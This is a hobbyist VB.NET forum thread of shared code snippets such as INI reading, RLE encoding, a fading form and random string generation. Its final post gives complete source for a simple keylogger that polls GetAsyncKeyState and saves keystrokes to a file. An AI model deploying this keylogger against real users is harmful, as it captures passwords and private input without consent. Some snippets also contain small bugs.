|
-
Jul 26th, 2012, 10:58 AM
#1
Thread Starter
Junior Member
Aaro4130's Codes
Aaro4130's Codes
About me!
Hey! I'm Aaron, a 16 year old programmer from Toronto, ON, I started into programming when I was only 8 years old! I started into Visual Basic from MS Word, and then got it at home and it took off, I am now fluent in VB.NET and I know some C# as well as Java!
Codes in this thread :
- INI File Reading (Function)
- RLE String Decoding (Function)
- RLE String Encoding (Function)
- Fading form (Tutorial)
- Windows 7 Snap Emulation (Source For Predefined Sub)
- Titlebar blocker
---------------------
Code 1 : INI File read
Description : Will read a value from an INI File
Usage Example : Textbox1.text = readINILine("C:\ini.ini","TestSection","TestKey)
vbnet Code:
Public Function readINILine(ByVal file As String, ByVal section As String, ByVal key As String) Dim sectionReached = False For Each line In System.IO.File.ReadAllLines(file) If sectionReached = True Then If line.StartsWith(key) Then Return line.Substring(line.IndexOf("=") + 1, line.Length - line.IndexOf("=") - 1) End If End If If line = "[" & section & "]" Then sectionReached = True End If Next End Function
Code 2 : RLE Decoding (1 digit Runlengths)
Description : Will decode and return a run length string (such as A3A3R3O3431303)
Usage example : MsgBox(decodeRLE("A3A3R3O3431303")) or Textbox1.Text = decodeRLE("A3A3R3O3431303")
VB.NET Code:
vbnet Code:
Public Function decodeRLE(ByVal input As String) Dim decode = False Dim curchar Dim returnstr For Each c As Char In input If decode = True Then For i = 1 To Convert.ToDouble(c.ToString) returnstr &= curchar Next decode = False GoTo 1 End If curchar = c decode = True 1: Next Return returnstr
Code 3 : RLE String Encoding
Description : Encodes a string to RLE
Usage Example : encodeRLE("Aaro4130")
vbnet Code:
Public Function encodeRLE(ByVal input As String) Dim curchar = "" Dim RL = 1 Dim output = "" For Each c As Char In input If c = curchar Then RL += 1 Else output &= curchar & RL RL = 1 End If curchar = c Next output &= curchar & RL RL = 0 Return output.Substring(1, output.Length - 1) End Function
The codes provided here are free to use for anyone!
Last edited by aaro4130; Apr 26th, 2013 at 06:30 PM.
-
Aug 16th, 2012, 07:46 PM
#2
Thread Starter
Junior Member
Re: Aaro4130's Codes
Title : Reading of *.info and *.cinfo files from Midtown Madness 1 & 2 Games
Details : GetInfo(filename,subsection)
Usage Example : Textbox1.text = GetInfo("c:\mm2info.info","BaseName")
Code:
Public Function ReadINFO(ByVal filename as string,ByVal subsection as string)
For each line in system.io.file.readalllines(filename)
if line.startswith(subsection & "=") then
Return Line.replace(subsection & "=","")
End if
next
End function
Title : Check Odd Or Even
Usage : IsItOdd(ByVal number as integer)
Usage Example : Checkbox1.checked = isitodd(3)
Code:
Public Function IsItOdd(ByVal Number as Integer)
Dim Result
result = number /2
if result.tostring.contains(".") then
Return True
Else
Return False
End if
End function
I TAKE CODE REQUESTS . Just shoot a reply on the thread
Last edited by aaro4130; Aug 17th, 2012 at 11:21 AM.
-
Aug 18th, 2012, 11:17 PM
#3
Thread Starter
Junior Member
Re: Aaro4130's Codes
[TUTORIAL] : Make a fading exit effect on your form
This is my little tutorial about making a fading exit-effect on a form
CONTROLS - Add the following to your form
- 1 Timer (Enabled=False, Interval=1)
STEP-BY-STEP - The How To
- Declare the following variables before any functions/subs yet within the class
Code:
Dim cancelClose As Boolean = True
- Add this to your form's load code
Code:
Me.AllowTransparency = True
- Add this to your timers "tick" code
Code:
Me.Opacity -= 0.05
If Me.Opacity = 0 Then
cancelClose = False
Me.Close()
End If
- Finally, add this to the form's FormClosing() event
Code:
fadetimer.Enabled = True
e.Cancel = cancelClose
YOUR DONE!
Enjoy your fading form
Last edited by aaro4130; Aug 19th, 2012 at 01:37 AM.
-
Aug 19th, 2012, 06:19 AM
#4
Re: Aaro4130's Codes
Your IsItOdd function will return the wrong result on a very large percentage of computers in the world, because it relies on the Regional Settings of the computer using the "." character as the decimal point (many countries use "," instead).
If you avoid the unpredictable conversion to string (and the unreliable check that creates), the code can be far simpler:
Code:
Public Function IsItOdd(ByVal Number as Integer)
If Number Mod 2 = 1 Then
Return True
Else
Return False
End If
End function
...or written in a neater way:
Code:
Public Function IsItOdd(ByVal Number as Integer)
Return (Number Mod 2) = 1
End function
-
Aug 20th, 2012, 07:47 PM
#5
Thread Starter
Junior Member
Re: Aaro4130's Codes
Thanks ! I didn't know that.
-
Aug 21st, 2012, 02:55 AM
#6
Re: Aaro4130's Codes
Very Nice examples very compact keep them coming I like your RLE examples I may have a go at using byte arrays., Your INI reader is cool to I like ini files always use them in my apps.
-
Aug 21st, 2012, 10:27 AM
#7
Thread Starter
Junior Member
Re: Aaro4130's Codes
Here's another, for generating random strings.
Usage : Textbox1.text = GenerateString(10)
vbnet Code:
Public Function GenerateString(ByVal strLength as Integer) Dim LETTERS as Array = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"} Dim LRAND as New Random Dim RESULT as String = "" For i=1 to strLength RESULT &= LETTERS(LRAND.Next(1, LETTERS.length)) Next Return Result End Function
Last edited by aaro4130; Aug 21st, 2012 at 02:54 PM.
-
Aug 21st, 2012, 01:43 PM
#8
Re: Aaro4130's Codes
Nise example of random string, Hope you did't mind I chould not helping adding to this.
Keep the examples comming there cool.
Usage : Textbox1.text = GeneratePwsString(10)
vbnet Code:
Public Function GeneratePwsString(ByVal strLength As Integer) 'Modded version of Aaro4130's GenerateString example. 'Updated By Ben Jones to support uppwercase lowercase and digits. 'Please give cridit to Aaro4130 for original idea. Dim CHARS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" Dim LRAND As New Random() Dim RESULT As New System.Text.StringBuilder() For i As Integer = 1 To strLength RESULT.Append(CHARS(LRAND.Next(1, CHARS.Length))) Next i Return RESULT.ToString() End Function
-
Aug 21st, 2012, 02:54 PM
#9
Thread Starter
Junior Member
Re: Aaro4130's Codes
 Originally Posted by BenJones
Nise example of random string, Hope you did't mind I chould not helping adding to this.
Keep the examples comming there cool.
Usage : Textbox1.text = GeneratePwsString(10)
vbnet Code:
Public Function GeneratePwsString(ByVal strLength As Integer) 'Modded version of Aaro4130's GenerateString example. 'Updated By Ben Jones to support uppwercase lowercase and digits. 'Please give cridit to Aaro4130 for original idea. Dim CHARS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" Dim LRAND As New Random() Dim RESULT As New System.Text.StringBuilder() For i As Integer = 1 To strLength RESULT.Append(CHARS(LRAND.Next(1, CHARS.Length))) Next i Return RESULT.ToString() End Function
Wow I like it . I'll be sure to use this if i make an app
-
Dec 5th, 2012, 07:43 PM
#10
New Member
Re: Aaro4130's Codes
You don't need to have an array of characters, it's just ASCII anyways, use the RNG to generate the characters. Also, there's no need for a disclaimer, it's not a very original idea, if someone needs to look at other people's code just to generate a random string, they're probably not a good enough programmer to be doing anything interesting enough to make credit be an issue.
-
Feb 11th, 2013, 10:18 AM
#11
Thread Starter
Junior Member
Re: Aaro4130's Codes
Windows 7 "Snap" Behaviour on Windows XP
VB Code:
Private Sub SnapForm_Move(sender As Object, e As System.EventArgs) Handles Me.Move
If Me.Location.X + Me.Width > Screen.PrimaryScreen.WorkingArea.Width - 2 Then
Me.Location = New Point(Screen.PrimaryScreen.WorkingArea.Width / 2, 0)
Me.Size = New Size(Screen.PrimaryScreen.WorkingArea.Width / 2, Screen.PrimaryScreen.WorkingArea.Height)
End If
End Sub
-
Apr 26th, 2013, 06:24 PM
#12
Thread Starter
Junior Member
Re: Aaro4130's Codes
Blocking the titlebar of a window
This is a quick software I wrote to hide titlebars. You need a timer with an interval of 1 named Timer1 for this to work!
VB Code:
Imports System.Runtime.InteropServices Public Class MainForm <DllImport("user32.dll")> _ Private Shared Function GetWindowRect(ByVal hWnd As IntPtr, ByRef lpRect As RECT) As Boolean End Function Dim hwnd As IntPtr Dim winTitle As String Public Structure RECT Dim left As Integer Dim top As Integer Dim right As Integer Dim bottom As Integer End Structure Dim processName As String = "Skype" Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Size = New Size(704, 30) For Each p As Process In Process.GetProcesses If p.ProcessName.ToLower = processName.ToLower Then hwnd = p.MainWindowHandle winTitle = p.MainWindowTitle End If Next End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim rect As RECT GetWindowRect(hwnd, rect) Me.Location = New Point(rect.left, rect.top) Me.Size = New Size(rect.right - rect.left - 150, 30) End Sub End Class
Getting console input
This is a quick software I wrote to get console input, When I was 14 I didn't know how to do this! (6 years I hadn't known). So here it is!
VB Code:
Dim result As String While True result = Console.ReadLine Console.WriteLine("You put : " & result) End While
This can be modified into a command check program where you can input the word "cat" and it will return "dog" or vice-versa
VB Code:
Dim result As String While True result = Console.ReadLine If result = "cat" Then Console.WriteLine("dog") ElseIf result = "dog" Then Console.WriteLine("cat") Else Console.WriteLine("you did not put cat or dog") End If End While
Last edited by aaro4130; Apr 26th, 2013 at 06:46 PM.
-
Apr 27th, 2013, 08:52 AM
#13
Thread Starter
Junior Member
Re: Aaro4130's Codes
SIMPLE KEYLOG
I saw one of these that was MUCH harder. Here is my whole form code, you need a timer with the interval of 1 and enabled, you need a Button called Button1 and text is "SAVE TO FILE", and a Listbox called ListBox1
VB Code:
Imports System.IO
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vkey As Integer) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim Result As Integer
For i = 3 To 255 '-- This is Keycode in keyboard
Result = GetAsyncKeyState(i)
If Result = -32767 Then '-- Keyboard pressed
ListBox1.Items.Add(i & "," & My.Computer.Clock.LocalTime.Hour & "," & My.Computer.Clock.LocalTime.Minute & "," & My.Computer.Clock.LocalTime.Second & "," & My.Computer.Clock.LocalTime.Millisecond)
End If
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Using w As New BinaryWriter(File.Create("output.klg"))
w.Write(Convert.ToChar("K"))
w.Write(Convert.ToChar("L"))
w.Write(Convert.ToChar("G"))
w.Write(Convert.ToByte(0))
w.Write(Convert.ToInt32(ListBox1.Items.Count))
For Each item In ListBox1.Items
w.Write(Convert.ToByte(item.ToString.Split(",")(0)))
w.Write(Convert.ToByte(item.ToString.Split(",")(1)))
w.Write(Convert.ToByte(item.ToString.Split(",")(2)))
w.Write(Convert.ToByte(item.ToString.Split(",")(3)))
w.Write(Convert.ToInt16(item.ToString.Split(",")(4)))
Next
End Using
End Sub
End Class
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|